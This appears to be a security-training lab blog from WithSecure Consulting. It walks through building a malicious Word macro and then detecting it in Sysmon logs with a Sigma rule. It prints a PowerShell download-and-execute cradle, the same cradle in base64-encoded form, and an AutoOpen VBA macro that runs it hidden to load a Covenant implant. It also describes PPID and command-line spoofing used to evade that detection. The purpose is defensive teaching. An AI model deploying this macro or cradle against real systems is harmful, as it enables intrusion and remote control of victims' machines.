Attack Detection Fundamentals: Initial Access - Lab #1

In the first part of WithSecure Consulting's Attack Detection Workshop series, covering Initial Access, we explored a number of offensive techniques for obtaining a foothold within a target environment through the creation and successful delivery of malicious documents (also known as maldocs).

We also explored the detection strategies that can be employed to spot these using our own detection stacks. The following blog provides a step-by-step guide to recreating the demos from that Initial Access workshop, as well as exercises to further the reader's understanding of the concepts shown.

A recording of the workshop can be found here.

In the first lab of this series, we are going to build and analyse a malicious Excel/Word macro that uses PowerShell to establish a C2 channel. The aim of this simulation will be to highlight the importance of the parent-child process analysis.

Parent-child analysis is a general concept, whereby an analyst seeks anomalies within process creation events. In this case, we are going to craft a basic Excel macro that is used to spawn PowerShell.

The reader will have the opportunity to analyse the traces left within Sysmon logs. We will finish the exercise with a small proof-of-concept of one of the many techniques that can be used to evade this type of detection. Considering that this is the first lab, a more comprehensive walkthrough will be provided that will include part of the analysis.

DISCLAMER: Set up of the tools and the testing environment might not be covered comprehensively within this lab. We will assume basic familiarity with Linux/Windows command line and the ability of the reader to deploy the necessary frameworks. For that, it is recommended to follow the suggested references for the official tutorials and walkthrough published by the framework's author.

Required Tools

Windows VM
Microsoft Office
Covenant
AV + Host Firewall turned OFF

Walkthrough

1 - Listener Setup

Create a listener with a framework of your choice, we will use Covenant, but any framework that supports PowerShell launchers will work.

On the "Listeners" tab, click "Create":

Configure the "ConnectPort" and "ConnectAddress" parameters with the IP address of your Covenant instance and the port where the implant will connect to:

Click on "Create" to start the listener.

2 - Payload Generation

We will use the default PowerShell Covenant implant without any modification. AV will need to be turned off as Covenant's out-of-the-box signatures are well-known.

Don't worry if this doesn't sound very realistic, the aim of this lab is just to demonstrate the initial access technique, in a later lab we will also cover common evasion techniques.

Select "Launchers" and then "PowerShell":

The default options will be enough for now, click on "Generate":

Below you will see a very long PowerShell command with a base64 string, that is the full Covenant .NET implant. This payload is stageless, meaning that the payload is self-contained and will not need to download any other component to be fully-operational. In some cases, this might be desired since the staging process often introduces operational risks that could result in being detected.

However, in this case, we want out payload to be staged. To do so, we can click on "Host" and insert the path where our payload will be hosted:

Click on "Host" and go back to the "Generate" tab. You should see a new one-liner that makes use of the Invoke-Expression cmdlet (shortened to "iex") to execute our hosted PowerShell script:

The payload uses a common PowerShell download and execute cradle, that will fetch the remote content (using the URL you set before) and interpret it as a PowerShell command.The payload will be something similar to this:

	powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://192.168.0.9/test.ps1')"

Or in encoded form:

	powershell -Sta -Nop -Window Hidden -EncodedCommand aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgA5AC8AZgBpAGcAYQAnACkA

To avoid any problems with escaping quotes, you can also use the encoded launcher.The final stage of our attack will be the creation of a Word document with a malicious VBA macro. The macro will execute when the document opens, subsequently triggering the whole staging process we just created.To enable macro editing, open Microsoft Word and right-click on the toolbar on top of the screen and select "Customize the Ribbon":

Check the "Developer" box as follows:

A "Developer" tab should now be visible within the toolbar. Select "Visual Basic":

This will open the Visual Basic editor where we will place or macro code. It is possible use the following code as a template:

	Sub AutoOpen()    
Call Shell("powershell -Sta -Nop -Window Hidden -EncodedCommand aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgA5AC8AZgBpAGcAYQAnACkA")
End Sub

Execute the macro with the green arrow button and you should see a new connection within Covenant.

3 - Analysis with Sigma

Sigma is a framework that enables the creation of vendor-neutral SIEM signatures. It supports multiple backends such as Splunk, ELK, QRadar and native PowerShell.We will use a basic Sigma rule to hunt within Sysmon event log and find anomalous processes being spawned by an Office process. The rule we will use is the following and can be found here:

	title: Microsoft Office Product Spawning Windows Shell
id: 438025f9-5856-4663-83f7-52f878a70a50
status: experimental
description: Detects a Windows command line executable started from Microsoft Word, Excel, Powerpoint, Publisher and Visio.
references:
    - https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100
    - https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html
tags:
    - attack.execution
    - attack.defense_evasion
    - attack.t1059
    - attack.t1202
    - car.2013-02-003
    - car.2014-04-003
author: Michael Haag, Florian Roth, Markus Neis
date: 2018/04/06
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage:
            - '*\WINWORD.EXE'
            - '*\EXCEL.EXE'
            - '*\POWERPNT.exe'
            - '*\MSPUB.exe'
            - '*\VISIO.exe'
            - '*\OUTLOOK.EXE'
        Image:
            - '*\cmd.exe'
            - '*\powershell.exe'
            - '*\wscript.exe'
            - '*\cscript.exe'
            - '*\sh.exe'
            - '*\bash.exe'
            - '*\scrcons.exe'
            - '*\schtasks.exe'
            - '*\regsvr32.exe'
            - '*\hh.exe'
            - '*\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/
            - '*\mshta.exe'
            - '*\rundll32.exe'
            - '*\msiexec.exe'
            - '*\forfiles.exe'
            - '*\scriptrunner.exe'
            - '*\mftrace.exe'
            - '*\AppVLP.exe'
            - '*\svchost.exe' # https://www.vmray.com/analyses/2d2fa29185ad/report/overview.html
    condition: selection
fields:
    - CommandLine
    - ParentCommandLine
falsepositives:
    - unknown
level: high

In order to use Sigma, clone the GitHub repository and install the required dependencies. Since we don't want to deploy a SIEM just to test this rule, we can use the PowerShell backend to generate a cmdlet that will go through the logs manually:

./sigmac -t powershell ../rules/windows/process_creation/win_office_shell.yml

	Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational | where {($_.ID -eq "1" -and ($_.message -match "ParentImage.*.*\\WINWORD.EXE" -or $_.message -match "ParentImage.*.*\\EXCEL.EXE" -or $_.message -match "ParentImage.*.*\\POWERPNT.exe" -or $_.message -match "ParentImage.*.*\\MSPUB.exe" -or $_.message -match "ParentImage.*.*\\VISIO.exe" -or $_.message -match "ParentImage.*.*\\OUTLOOK.EXE") -and ($_.message -match "Image.*.*\\cmd.exe" -or $_.message -match "Image.*.*\\powershell.exe" -or $_.message -match "Image.*.*\\wscript.exe" -or $_.message -match "Image.*.*\\cscript.exe" -or $_.message -match "Image.*.*\\sh.exe" -or $_.message -match "Image.*.*\\bash.exe" -or $_.message -match "Image.*.*\\scrcons.exe" -or $_.message -match "Image.*.*\\schtasks.exe" -or $_.message -match "Image.*.*\\regsvr32.exe" -or $_.message -match "Image.*.*\\hh.exe" -or $_.message -match "Image.*.*\\wmic.exe" -or $_.message -match "Image.*.*\\mshta.exe" -or $_.message -match "Image.*.*\\rundll32.exe" -or $_.message -match "Image.*.*\\msiexec.exe" -or $_.message -match "Image.*.*\\forfiles.exe" -or $_.message -match "Image.*.*\\scriptrunner.exe" -or $_.message -match "Image.*.*\\mftrace.exe" -or $_.message -match "Image.*.*\\AppVLP.exe" -or $_.message -match "Image.*.*\\svchost.exe")) } | select TimeCreated,Id,RecordId,ProcessId,MachineName,Message

If we execute the resulting PowerShell command on our compromised system, we should obtain something like this:

4 - Parent PID and Command-line Argument Spoofing

Parent-child analysis is not a silver bullet for detecting macro-based abuses, the PPID Spoofing technique is just one of the many examples with which these detections can be avoided.In a nutshell, PPID Spoofing is a Defence Evasion technique that allows the attacker to spawn a new process with a different parent.

In this case, we will use an open-source macro template that implements PPID spoofing to decouple the execution of PowerShell from our Office document.We will use the code from the following repository as a base. Since our installation of Office is 32-bit, we will use macro.vba.The relevant line that needs to be changed is the one that specifies the PowerShell command to execute:

Another interesting technique implemented in the VBA code is Command-line Argument Spoofing. Which, at a high-level, allows us to mask the true command-line arguments of our spawned PowerShell process.

NOTE: More technical details of these two evasion techniques can be found in a great talk by Will Burgess.

Execute the new macro code and try launching again the Sigma rule search we previously used. You should only see the first attack we performed.Analyse the Sysmon event logs, you should find an entry similar to the following:

Notice the "CommandLine" field in the event - although it looks harmless, it was our Covenant implant being launched!

Conclusion

In this first lab we covered how an attacker could use macro-based payloads to obtain an initial foothold in a targeted environment. Despite the simplicity of the showed technique, real-life actors often rely on similar mechanisms for their initial access strategies. The reader was taken through both the generation of the malicious document and the first steps of the triage process from an host events perspective.

Where applicable, bypasses were provided for the shown detections. This was done not to empower attackers, but rather to inform defenders that there is no such thing as an infallible technique and that the process of building a robust detection is a continuous process.

The main takeaways from this first lab are:

The importance of proper logging in place to monitor process creation events.
The parent-child process analysis, that would help identifying anomalous behaviours. Although only the Office example is presented, this general model is applicable to many other scenarios.

The next lab of this workshop can be found here.